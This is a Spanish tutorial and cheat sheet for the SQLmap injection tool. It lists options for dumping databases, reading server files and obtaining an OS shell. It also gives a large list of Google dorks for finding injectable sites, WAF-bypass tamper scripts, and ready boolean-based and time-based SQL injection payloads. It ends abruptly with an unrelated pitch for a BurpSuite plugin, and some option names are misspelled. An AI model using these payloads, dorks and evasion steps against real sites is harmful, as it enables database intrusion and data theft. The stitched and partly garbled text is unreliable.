SQLmap es una de las herramienta más conocidas para hacer ataques SQLi (SQL Injection) escrita en Python. SQLmap se encarga de realizar peticiones a los parámetros de una URL que se le indiquen, ya sea mediante una petición GET, POST, en las cookies, etc. Es capaz de explotar todo tipo de SQLi como union-base, time-base-blind, base-blind-injection, heavy-queries, etc.
Permite realizar de manera automática 6 técnicas de ataques:
- boolean-based blind
- time-based blind
- error-based
- UNION query
- stacked queries
- out-of-band
Tutorial – Manual Uso básico SQLmap
Errores:
- –dbms=mysql
[..] Error: You have an error in your SQL syntax [..]
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [..]
- –dbms=mssql
Microsoft OLE DB Provider for ODBC Drivers error [..]
Server Error in ‘/’ Application. Unclosed quotation mark before the character string [..]
- –dbms=orcale
java.sql.SQLException: ORA-00933: SQL command not properly ended at [..]
Requisitos – Dependencias
- Python 2.6 o 2.7 (no funciona con 3.0)
- gzip
- ssl
- sqlite3
- zlib
Instalación clonando el repositorio git
git clone git://github.com/sqlmapproject/sqlmap.gitcd sqlmap
Uso:
python sqlmap.py [opciones]
- –url url (-u) con la variable vulnerable ejemplo elhacker.net/noticia.php?id=1
- -p (buscar otra variable vunlerable) elhacker.net/noticia.php?id=1&user
- –data si hay un formulario GET,POST los campos vulnerables
--
level=n cinco niveles según dificultad- –dbs listar las bases de datos
–dbms motor de la base de datos (MySQL,SQL Server ,etc)
- -D indicamos la base de datos a utilizar (-Database)
- –tables mostrar las tablas disponibles
- -t nombre de la tabla –columns
- –dump vuelca resultados, mostrar contenido de las tablas
- -C (Columnas) columnas a mostrar
- –wizard ejecuta un asistente
- –threads=n número de procesos (por defecto 1)
- –delay=n segundos de espera entre peticiones http
- –current-db base de datos que está usando actualmente
- –current-user ver usuario que está ejecutando
- –is-dba –current-db ver si el usuario es el dba de la BD
- –privileges ver los privilegios del usuario (alter, create, drop, execute)
- —file-read path (ruta) leer ficheros
- –sql-shell obtener una sql en shell
- –os-shell obtener shell en el servidor (asp es la 1, aspx 2, jsp 3, php 4) (si se poseen los suficientes privilegios y un FPD (Full Path Disclosure)
- –headers= cabeceras del navegador
- –random-agent cabeceras del navegador aleatorias
- –time-sec= Segundos para retrasar la respuesta de DBMS (por defecto 5)
- —technique= : Se utiliza para seleccionar la técnica que se va a utilizar en la inyección ( B – E – U – S – T – Q.) Boolean-based, Error-based, Union, Stacked querys, Time-based, Inline queries
- –flush-session
– Si el SQLi es Time Based , se especifica con una “T”
- –forms si queremos que busque automáticamente los campos de formularios
- –proxy= usar servidor proxy
- –sql-query añadir consulta sql
- –tamper= scripts ofuscación y bypass (ejemplo space2mysqlblank.py, charencode.py, base64encode.py, randomcomments.py, etc)
- –chek-tor —> User Tor Anonymity Network
- –tor-port —> Set Tor proxy port other than default
- –tor-type —> Set Tor proxy type (HTTP (default ), SOCKS4 or SOCKS5)
Listado completo en la documentación oficial:
Descargar Cheatsheet para SQLMap cortesía de SecurityByDefault:
SQLMap compara la página sin ningún tipo inyección con la página con la inyección y en función de la variación entre ellas devuelve True o False (True si supera determinado ratio y False en el caso contrario).
Los siguientes carácteres pueden ser usados después de la inyección SQL:
# Hash comment /* C-style comment — – SQL comment ; Nullbyte ` Backtick
Saber la versión del servidor SQL:
Enumeración.
Con SQLMap:
--all
-b
o--banner (versión)
--current-user
--current-db
--hostname
VERSION()
@@VERSION
@@GLOBAL.VERSION
Información relevante:
@@HOSTNAME
UUID() –> MAC address
Condicionales
CASE IF() IFNULL() NULLIF()
Leyendo ficheros:
Con SQLMap:
--file-read=
--file-write=
--file-dest=
LOAD_FILE()
INTO OUTFILE/DUMPFILE
Ofuscación (Evadiendo filtros)
09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
A0 Non-breaking Space
20 Space
Carácteres admitidos después del AND/OR
20 Space
2B +
2D –
7E ~
21 !
40 @
Google Dorks
- -g GOOGLEDORK
Ejemplos:
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id=
inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id=
inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID=
inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?=
inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id=
inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id=
inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id=
inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id=
inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id=
inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id=
inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id=
inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id=
inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id=
inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id=
inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id=
inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:channel_id=
inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id=
inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id=
inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id=
inurl:news.php?id= inurl:participant.php?id= inurl:avd_start.php?avd= inurl:download.php?id= inurl:event.php?id= inurl:main.php?id= inurl:product-item.php?id= inurl:review.php?id= inurl:sql.php?id= inurl:chappies.php?id= inurl:material.php?id= inurl:read.php?id= inurl:clanek.php4?id= inurl:prod_detail.php?id= inurl:announce.php?id= inurl:viewphoto.php?id= inurl:chappies.php?id= inurl:article.php?id= inurl:read.php?id= inurl:person.php?id= inurl:viewapp.php?id= inurl:productinfo.php?id= inurl:viewphoto.php?id= inurl:showimg.php?id= inurl:rub.php?idr= inurl:view.php?id= inurl:galeri_info.php?l= inurl:website.php?id=
Bypass de WAF (Web Aplication Firewall) / IDS
Algunos scripts que nos permite de cierta forma poder realizar un bypass a ciertos WAF/IDS como mod_security o suhosing. De esta manera podemos ocultar el playload. Estos scripts pertenecen a la herramienta SQLmap y se encuentran en la carpeta Tamper.
- –tamper : Se utiliza para seleccionar el tipo de manipulación que se efectuará a la inyección por parte del script que se selecciona a continuación.
- apostrophemask.py
- percentage.py
- apostrophenullencode.py
- randomcase.py
- appendnullbyte.py
- randomcomments.py
- base64encode.py
- securesphere.py
- between.py
- space2comment.py
- bluecoat.py
- space2dash.py
- chardoubleencode.py
- space2hash.py
- charencode.py
- space2morehash.py
- charunicodeencode.py
- space2mssqlblank.py
- concat2concatws.py
- space2mssqlhash.py
- equaltolike.py
- space2mysqlblank.py
- greatest.py
- space2mysqldash.py
- halfversionedmorekeywords.py
- space2plus.py
- ifnull2ifisnull.py
- space2randomblank.py
- __init__.py
- sp_password.py
- lowercase.py
- unionalltounion.py
- modsecurityversioned.py
- unmagicquotes.py
- modsecurityzeroversioned.py
- versionedkeywords.py
- multiplespaces.py
- versionedmorekeywords.py
- nonrecursivereplacement.py
Por ejemplo el tamper “space2morehash.py” cambian en la “URL encoded” las funciones CHAR(), USER(), CONCAT() por FUNCTION%23randomText%0A()
space2hash.py, space2mysqlblank.py pueden ser usados cuando el motor es MySQLy charunicodeencode.py, percentage.py opara ofuscar el playload en motores ASP/ASP.NET
El script charencode nos puede ser muy útil cuando atacamos un sitio web protegido por un WAF,el cual tiene prohido el ingreso de ciertas palabras como puede ser el caso de columns_name, table_name, group_concat, etc.
- -v : Es para seleccionar el nivel de esfuerzo por parte de la herramienta : 0-6 (por defecto toma el valor de 1)
- –batch : Sirve para que el usuario no tenga la necesidad de ingresar cualquier dato una vez iniciado las inyecciones(Se obvia el ingreso de Y/N).
- –risk : Riesgo de pruebas que se desee realizar (0-3, por defecto toma el valor de 1)
- –level : Nivel de pruebas que desee realizar (1-5, por defecto toma el valor de 1)
Payloads
Los payloads se encuentran en formato xml: ejemplo de plantilla xml/payloads.xml
https://github.com/sqlmapproject/sqlmap/blob/master/xml/payloads.xml
Boolean based
999999 or 1=1 or 1=1
‘ or 1=1 or ‘1’=’1
” or 1=1 or “1”=”1
999999) or 1=1 or (1=1
‘) or 1=1 or (‘1’=’1
“) or 1=1 or (“1″=”1
999999)) or 1=1 or ((1=1
‘)) or 1=1 or ((‘1’=’1
“)) or 1=1 or ((“1″=”1
999999))) or 1=1 or (((1
‘))) or 1=1 or (((‘1’=’1
“))) or 1=1 or (((“1″=”1
Time-based MySQL
(select benchmark(15000000,md5(0x4e446b6e))-9999) as test
benchmark(15000000,md5(0x4e446b6e))-9999
9999′ or benchmark(15000000,md5(0x4e446b6e)) or ‘0’=’9999
9999″ or benchmark(15000000,md5(0x4e446b6e)) or “0”=”9999
(select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7) as test
(select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7)
9999’+(select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7)+’9999
9999″+(select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7)+”9999
Sqlmap plugin for BurpSuite
Cuando auditamos un sitio web lo primero que solemos hacer es poner un proxy intermedio para tener más control sobre lo que enviamos a éste. Por diversos motivos utilizo el BurpSuite como proxy.
¿No creéis que sería genial que cuando estamos auditando un sitio podamos redirigir una URL o petición concreta directamente al sqlmap con un simple click de ratón? Sí, ¿verdad? Eso creo yo también. Por esto he desarrollado este plugin, para poder hacer justamente esto.